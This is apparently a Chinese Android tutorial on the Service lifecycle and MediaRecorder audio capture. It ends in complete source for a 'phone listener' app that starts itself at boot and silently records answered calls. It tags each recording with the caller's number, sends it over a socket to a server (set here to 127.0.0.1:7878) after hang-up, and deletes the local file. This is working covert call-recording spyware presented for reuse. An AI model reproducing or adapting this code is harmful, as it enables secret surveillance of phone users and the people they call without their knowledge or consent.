***步：繼承Service類

public class SMSService extends Service { } 

第二步：在AndroidManifest.xml文件中的<application>節(jié)點里對服務(wù)進行配置:

<service android:name=".SMSService" /> 

服務(wù)不能自己運行，需要通過調(diào)用Context.startService()或Context.bindService()方法啟動服務(wù)。這兩個方法都可以啟動Service，但是它們的使用場合有所不同。使用startService()方法啟用服務(wù)，調(diào)用者與服務(wù)之間沒有關(guān)連，即使調(diào)用者退出了，服務(wù)仍然運行。使用bindService()方法啟用服務(wù)，調(diào)用者與服務(wù)綁定在了一起，調(diào)用者一旦退出，服務(wù)也就終止，大有“不求同時生，必須同時死”的特點。

如果打算采用Context.startService()方法啟動服務(wù)，在服務(wù)未被創(chuàng)建時，系統(tǒng)會先調(diào)用服務(wù)的onCreate()方法，接著調(diào)用onStart()方法。如果調(diào)用startService()方法前服務(wù)已經(jīng)被創(chuàng)建，多次調(diào)用startService()方法并不會導致多次創(chuàng)建服務(wù)，但會導致多次調(diào)用onStart()方法。采用startService()方法啟動的服務(wù)，只能調(diào)用Context.stopService()方法結(jié)束服務(wù)，服務(wù)結(jié)束時會調(diào)用onDestroy()方法。

如果打算采用Context.bindService()方法啟動服務(wù)，在服務(wù)未被創(chuàng)建時，系統(tǒng)會先調(diào)用服務(wù)的onCreate()方法，接著調(diào)用onBind()方法。這個時候調(diào)用者和服務(wù)綁定在一起，調(diào)用者退出了，系統(tǒng)就會先調(diào)用服務(wù)的onUnbind()方法，接著調(diào)用onDestroy()方法。如果調(diào)用bindService()方法前服務(wù)已經(jīng)被綁定，多次調(diào)用bindService()方法并不會導致多次創(chuàng)建服務(wù)及綁定(也就是說onCreate()和onBind()方法并不會被多次調(diào)用)。如果調(diào)用者希望與正在綁定的服務(wù)解除綁定，可以調(diào)用unbindService()方法，調(diào)用該方法也會導致系統(tǒng)調(diào)用服務(wù)的onUnbind()-->onDestroy()方法。

服務(wù)常用生命周期回調(diào)方法如下：

onCreate() 該方法在服務(wù)被創(chuàng)建時調(diào)用，該方法只會被調(diào)用一次，無論調(diào)用多少次startService()或bindService()方法，服務(wù)也只被創(chuàng)建一次。

onDestroy()該方法在服務(wù)被終止時調(diào)用。

 與采用Context.startService()方法啟動服務(wù)有關(guān)的生命周期方法

onStart() 只有采用Context.startService()方法啟動服務(wù)時才會回調(diào)該方法。該方法在服務(wù)開始運行時被調(diào)用。多次調(diào)用startService()方法盡管不會多次創(chuàng)建服務(wù)，但onStart() 方法會被多次調(diào)用。

與采用Context.bindService()方法啟動服務(wù)有關(guān)的生命周期方法

onBind()只有采用Context.bindService()方法啟動服務(wù)時才會回調(diào)該方法。該方法在調(diào)用者與服務(wù)綁定時被調(diào)用，當調(diào)用者與服務(wù)已經(jīng)綁定，多次調(diào)用Context.bindService()方法并不會導致該方法被多次調(diào)用。

onUnbind()只有采用Context.bindService()方法啟動服務(wù)時才會回調(diào)該方法。該方法在調(diào)用者與服務(wù)解除綁定時被調(diào)用。

你可以使用手機進行現(xiàn)場錄音，實現(xiàn)步驟如下：

***步：在功能清單文件AndroidManifest.xml中添加音頻刻錄權(quán)限：

<uses-permission android:name="android.permission.RECORD_AUDIO"/> 

第二步：編寫音頻刻錄代碼:

MediaRecorder recorder = new MediaRecorder();

 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風采集聲音

 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式

 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式

 recorder.setOutputFile("/sdcard/itcast.amr");

 recorder.prepare();//預(yù)期準備

 recorder.start();   //開始刻錄
 ...
 recorder.stop();//停止刻錄

 recorder.reset();   //重設(shè)

 recorder.release(); //刻錄完成一定要釋放資源

#p#

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?> 
<manifest xmlns:android="http://schemas.android.com/apk/res/android"       
     package="com.tjp.phonelistiner"        
     android:versionCode="1"        
     android:versionName="1.0">     
   <uses-sdk android:minSdkVersion="7" />     
   <application android:icon="@drawable/icon" android:label="@string/app_name">          
     <service android:name=".PhoneListinerService"/>          
      <receiver android:name=".BootBroadcastReceiver">              
        <intent-filter>                  
          <!-- 開機廣播 -->                  
        <action android:name="android.intent.action.BOOT_COMPLETED"/>              
       </intent-filter>         
     </receiver>     
   </application>     
 <!-- 訪問網(wǎng)絡(luò)的權(quán)限 -->      
 <uses-permission android:name="android.permission.INTERNET"/>     
 <!-- 電話狀態(tài)監(jiān)聽權(quán)限 -->     
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>      
 <!-- 開機廣播權(quán)限 -->      
 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>      
 <!-- 音頻刻錄權(quán)限 -->      
<uses-permission android:name="android.permission.RECORD_AUDIO"/> 
</manifest> 

StreamTool

package com.tjp.util;  
import java.io.ByteArrayOutputStream;  
import java.io.File;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.PushbackInputStream;  
public class StreamTool {       
public static void save(File file, byte[] data) throws Exception {   
   FileOutputStream outStream = new FileOutputStream(file);    
     outStream.write(data);    
     outStream.close();   
 }   
  public static String readLine(PushbackInputStream in) throws IOException {   
   char buf[] = new char[128];   
   int room = buf.length;  
   int offset = 0;   
   int c;loop:    
   while (true) {   
     switch (c = in.read()) {    
       case -1:   
       case '\n':    
         break loop;  
      case '\r':   
    int c2 = in.read();  
    if ((c2 != '\n') && (c2 != -1)) in.unread(c2);  
         break loop;                      
 default:                          
    if (--room < 0) {           
    char[] lineBuffer = buf;    
    buf = new char[offset + 128];   
    room = buf.length - offset - 1;  
    System.arraycopy(lineBuffer, 0, buf, 0, offset);                                                     
}  
    buf[offset++] = (char) c;   
    break;  
  }  
}  
   if ((c == -1) && (offset == 0)) return null;  
   return String.copyValueOf(buf, 0, offset);  
}  
/**      
* 讀取流   
* @param inStream   
* @return 字節(jié)數(shù)組  
* @throws Exception   
*/      
public static byte[] readStream(InputStream inStream) throws Exception{  
     ByteArrayOutputStream outSteam = new ByteArrayOutputStream();   
     byte[] buffer = new byte[1024];   
     int len = -1;  
     while( (len=inStream.read(buffer)) != -1){    
     outSteam.write(buffer, 0, len);  
}   
     outSteam.close();   
     inStream.close();  
     return outSteam.toByteArray();  
}  
} 

#p#

PhoneListinerService

package com.tjp.phonelistiner;  
import java.io.File;  
import java.io.OutputStream;  
import java.io.PushbackInputStream;  
import java.io.RandomAccessFile;  
import java.net.Socket;  
import android.app.Service;  
import android.content.Context;  
import android.content.Intent;  
import android.media.MediaRecorder;  
import android.os.IBinder;  
import android.telephony.PhoneStateListener;  
import android.telephony.TelephonyManager;  
import android.util.Log;  
import com.tjp.util.StreamTool;  
public class PhoneListinerService extends Service {      
   private final String TAG="PhoneListinerService";       
   @Override      
   public IBinder onBind(Intent intent) {                  
    return null;      
 }      
   @Override     
   public void onCreate() {          
       TelephonyManager telephonyManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//獲得電話服務(wù)          
       telephonyManager.listen(new TeleListine(), PhoneStateListener.LISTEN_CALL_STATE);//對來電狀態(tài)進行監(jiān)聽          
       Log.i(TAG, "onCreate");          
       super.onCreate();      
}          
 private class TeleListine extends PhoneStateListener{          
 private String mobile;//來電號碼          
 private MediaRecorder recorder;//多媒體刻錄文件          
 private File autoFile;//保存文件          
 private boolean recoder;//是否刻錄          
  @Override          
  public void onCallStateChanged(int state, String incomingNumber) {              
 try {                  
   switch (state) {                  
     case TelephonyManager.CALL_STATE_IDLE://無任何狀態(tài)時--掛斷電話時                      
     if(recoder){                         
       recorder.stop();//停止刻錄                          
       recorder.release();//釋放刻錄                          
       recoder=false;                          
       new Thread(new UploadTask()).start();                          
       Log.i(TAG, "開始上傳");                      
 }                      
break;                  
  case TelephonyManager.CALL_STATE_OFFHOOK://接起電話時                      
  recorder = new MediaRecorder();                      
  recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風采集聲音                     
  recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式                     
  recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式                                          
  autoFile=new File(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");//輸出到緩存                      
  recorder.setOutputFile(autoFile.getAbsolutePath());//輸出的位置                      
  recorder.prepare();//預(yù)期準備                      
  recorder.start();   //開始刻錄                      
  recoder=true;                      
  Log.i(TAG, "接起電話");                      
break;                  
   case TelephonyManager.CALL_STATE_RINGING://電話進來時                      
mobile=incomingNumber;                     
   Log.i(TAG, "mobile="+mobile);                     
 break;                  
   default:                      
break;                  
}              
} catch (Exception e) {                 
      Log.i(TAG,e.toString());                 
      e.printStackTrace();             
 }             
    super.onCallStateChanged(state, incomingNumber);         
 }                  
private final class UploadTask implements Runnable{             
 @Override              
public void run() {                  
   try {   
        //Socket socket = new Socket("127.0.0.1", 7878);                          
       Socket socket = new Socket("127.0.0.1", 7878);                          
       OutputStream outStream = socket.getOutputStream();                                      
       String head = "Content-Length="+ autoFile.length() + ";filename="+ autoFile + ";  
       sourceid=1278916111468\r\n";                                   
       outStream.write(head.getBytes());                                                  
       PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());                              
       String response = StreamTool.readLine(inStream);                          
       System.out.println(response);                          
       String[] items = response.split(";");                          
       String position = items[1].substring(items[1].indexOf("=")+1);                                                 
       RandomAccessFile fileOutStream = new RandomAccessFile(autoFile, "r");                          
       fileOutStream.seek(Integer.valueOf(position));                          
       byte[] buffer = new byte[1024];                          
       int len = -1;                          
       int i = 0;                         
       while( (len = fileOutStream.read(buffer)) != -1){                              
    outStream.write(buffer, 0, len);                              
     i++;  
      //if(i==10) break;                          
}                          
    fileOutStream.close();                          
    outStream.close();                          
    inStream.close();                         
    socket.close();                          
    autoFile.delete();//當上傳完就刪除文件                     
 } catch (Exception e) {                            
        Log.i(TAG, "mobile="+mobile);                         
        e.printStackTrace();                      
      }              
   }                     
 }      
}     
 @Override     
public void onDestroy() {//清空緩存目錄下的所有文件          
   File[] files= getCacheDir().listFiles();//得到緩存下所有文件          
     if(files!=null){              
       for(File file : files){                  
        file.delete();             
      }         
    }         
   Log.i(TAG, "onDestroy");         
   super.onDestroy();     
  }         
} 

BootBroadcastReceiver

package com.tjp.phonelistiner;    
import android.content.BroadcastReceiver;    
import android.content.Context;    
import android.content.Intent;    
public class BootBroadcastReceiver extends BroadcastReceiver {       
 @Override        
public void onReceive(Context context, Intent intent) {            
Intent service=new Intent(context,PhoneListinerService.class);//顯示意圖    
context.startService(service);       
 }  
}    

【編輯推薦】

Android要深入研究Service

淺述遠程Service Broker的實現(xiàn)

Android開發(fā)之旅：Android架構(gòu)

Android應(yīng)用程序開發(fā)環(huán)境的搭建